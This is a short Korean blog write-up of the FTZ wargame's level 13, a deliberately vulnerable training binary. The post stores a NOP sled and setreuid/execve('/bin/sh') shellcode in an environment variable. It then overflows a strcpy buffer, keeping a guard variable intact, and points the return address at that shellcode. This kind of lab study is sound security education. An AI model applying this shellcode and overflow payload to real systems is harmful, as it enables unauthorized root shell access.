System/FTZ

FTZ. 13

dcho 2019. 9. 6. 13:48
SMALL
level13 // have no clue

힌트는 다음과 같다.

i값이 변하면 위험하다고 검사해주는 녀석인것 같다.

자세한 분석을 위해 디버깅!



i를 덮어쓰면 안된다. 환경변수를 이용!

일단 strcpy함수가 보이기에 공격을 강행해본다.

우선 환경변수먼저 등록해준다.
export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`


환경변수 주소를 얻었다. : 0xbffffe5b (little endian : \x5b\xfe\xff\xbf)


이제 페이로드를 작성을 해주어서 공격을 해보자.

위의 소스코드를 봐서 i는 변조가 되면 안되기에 그대로 넣어주고 남은 NOP으로 넣어주어  RET에 환경변수의 주소를 넣어주면 된다.

./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x5b\xfe\xff\xbf"'`


'System > FTZ' 카테고리의 다른 글

FTZ. 15  (0) 2019.09.06
FTZ. 14  (0) 2019.09.06
FTZ. 12  (0) 2019.09.06
FTZ. 11  (0) 2019.09.06
FTZ. 10  (0) 2019.09.06